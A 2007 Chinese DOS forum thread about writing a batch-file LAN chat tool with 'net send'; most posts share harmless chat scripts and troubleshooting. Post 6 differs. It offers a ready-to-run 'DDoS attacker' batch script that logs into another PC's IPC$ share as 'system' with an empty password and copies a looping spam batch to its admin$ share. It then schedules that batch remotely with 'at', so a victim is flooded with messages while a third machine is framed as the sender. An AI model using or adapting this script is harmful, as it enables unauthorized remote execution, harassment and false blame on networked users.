中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 请教关于net send批处理的问题?
作者:
标题: 请教关于net send批处理的问题? 上一主题 | 下一主题
jellord
初级用户





积分 92
发帖 26
注册 2007-3-10
状态 离线
『楼 主』:  请教关于net send批处理的问题?

@echo off title 局域网聊天工具 color 0A MODE con: COLS=54 lines=15 echo\ echo ┏━━━━━━━━━━━━━━━━━━━┓ echo ┃ ┃ echo ┃ 局域网聊天工具 ┃ echo ┃ ┃ echo ┗━━━━━━━━━━━━━━━━━━━┛ echo\ :main set /p m=请输入你将要发送的信息: echo %date% %time%: %m%>>messege.txt echo 正在发送信息,请稍等... net send 192.168.0.1 %m% goto main 我用net send写了一个局域网间互发信息的批处理文件,发送信息没有问题,同时我将自己发出去的信息记录到messege.txt文件中,我想知道如何将对方发过来的信息也加到该文本文件中作为聊天的记录呢?例外,能否在代码中加入可以互相发送文件的句子呢?我水平较低,不知道什么命令可以传送文件,高手们多帮忙!!! [ Last edited by jellord on 2007-3-24 at 10:32 PM ]


2007-3-25 11:30
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
kcdsw
中级用户





积分 404
发帖 179
注册 2006-3-30
状态 离线
『第 2 楼』:  

xp 不是有自己的内网聊天工具么?


2007-3-25 11:40
查看资料  发短消息 网志   编辑帖子  回复  引用回复
Gameover
初级用户





积分 25
发帖 9
注册 2007-3-4
状态 离线
『第 3 楼』:  

顶加无比的崇拜,我一直想写一个这样的程序!!!! 强人! 2楼的同志是无法体会的


2007-3-26 00:26
查看资料  发短消息 网志   编辑帖子  回复  引用回复
Gameover
初级用户





积分 25
发帖 9
注册 2007-3-4
状态 离线
『第 4 楼』:  net send 命令出错??

系统提示:网络上找不到此消息别名。 是怎么回事啊??


2007-3-28 01:41
查看资料  发短消息 网志   编辑帖子  回复  引用回复
jellord
初级用户





积分 92
发帖 26
注册 2007-3-10
状态 离线
『第 5 楼』:  

你的信使服务没有启动或是对方没有启动,在运行中依次输入net stop messenger,net start messenger,或到控制面板中开启信使的服务项目


2007-3-28 04:09
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
hngaoshou
社区乞丐

gaoshou



积分 -16
发帖 77
注册 2007-1-30
状态 离线
『第 6 楼』:  

+++++++++++++++++++++++++++++++++++++++++++++ @echo off & color f4 & title 另类Ddos单机攻击器,限三机房 echo. & echo. & echo. setlocal enabledelayedexpansion mode con cols=49 lines=5 set sta= ==========================__-_---___--____-_- for /l %%i in (1,1,45) do ( cls echo !sta:~0,%%i! ping 127.1 -n 1 >nul ) echo 对于安全考虑请输入密码...也可以联系528班王强。 echo ==========================---_-_--__-___-_-_- echo. set /p pass=请输入密码: if not "%pass%"=="gaoshou" goto cuo :start cls echo. & echo. & echo. set /p ip=(请输入要攻击的机子号,如:stu107): if "%ip%"=="" goto start set /p ipc1=(请输入要诬蔑的机子号,如:stu109): if "%ipc1%"=="" goto start set /p s=(请输入要对其发的话 ,如:好啊!): if "%s%"=="" goto start net use \\%ipc1%\ipc$ ""/user:"system" if not errorlevel 1 goto start2 :start2 goto start cls echo. & echo. echo :123 > 1a.bat echo net send %ip% %s% >> 1a.bat echo goto 123 >> 1a.bat copy 1a.bat \\%ipc1%\admin$ net time \\%ipc1% echo 请输入显示出来的时间 echo 如 下午02:05 就输入 14:08 echo 在显示的时间分钟加上2~5分钟 都可以 set /p t=(请输入时间): at \\%ipc1% %t% 1a.bat cls & echo. echo 执行成功....... net use * /del del 1a.bat pause>nul :start4 cls & echo. & echo. echo +++++++++++++++ echo 1.退出 echo 2.解除 echo +++++++++++++++ set /p js= 请输入: if "%js%"=1 goto exit if "%js%"=2 goto po goto start4 :exit exit :po taskkill /s \\%ipc1$% /f /im 1a.bat /t goto exit :cuo echo. & cls echo. echo. echo. echo ====================== echo 对不起密码输入错误 echo ====================== pause>nul ++++++++++++++++++++++++++++++++++++++++++++ 把以上保存b.bat [ Last edited by hngaoshou on 2007-3-28 at 09:01 AM ]




:cool: [swf=1,1]http://img63.imageshack.us/my.php?image=58098766zh0.swf[/swf]
2007-3-28 08:56
查看资料  发送邮件  发短消息 网志  OICQ (327869085)  编辑帖子  回复  引用回复
jellord
初级用户





积分 92
发帖 26
注册 2007-3-10
状态 离线
『第 7 楼』:  

给3楼放个最新修改的,试试看。 @echo off title 局域网聊天工具 color 1f MODE con: COLS=54 lines=35 echo\ echo ┏━━━━━━━━━━━━━━━━━━━┓ echo ┃ ┃ echo ┃ 局域网聊天工具 ┃ echo ┃ copyright by jellord ┃ echo ┗━━━━━━━━━━━━━━━━━━━┛ echo\ :2 echo 正在扫描局域网在线用户,请稍等... echo. echo ///////////////////////////////////////////////////// echo. setlocal enabledelayedexpansion net view|find "\\">>lan.txt for /f "usebackq tokens=2" %%i in (lan.txt) do ( ping -w 1 -n 1 %%i|find "snowwie">ping.txt for /f "tokens=2,3 delims= " %%a in (ping.txt) do echo. %%b %%a ok ) del /q lan.txt&del /q ping.txt echo. echo ///////////////////////////////////////////////////// echo 以上显示的是目前局域网内的在线用户 echo. set /p u=请选择你要发送对象的用户名或ip: :main echo. echo ┏━━━━━━━━━━━━━━━━━━━┓ echo ┃ qq: 重新选择发送对象 ┃ echo ┃ bb: 查看聊天记录 ┃ echo ┃ xx: 退出程序 ┃ echo ┗━━━━━━━━━━━━━━━━━━━┛ echo. set /p m=请作出选择或输入你将要发送的信息: if /i "%m%"=="qq" goto 2 if /i "%m%"=="xx" goto if /i "%m%"=="bb" goto 3 echo 你于%date% %time%对%u%说: %m%>>messege.txt echo. 正在发送信息,请稍等... net send %u% %m% goto main :3 start messege.txt goto main


2007-3-28 10:55
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: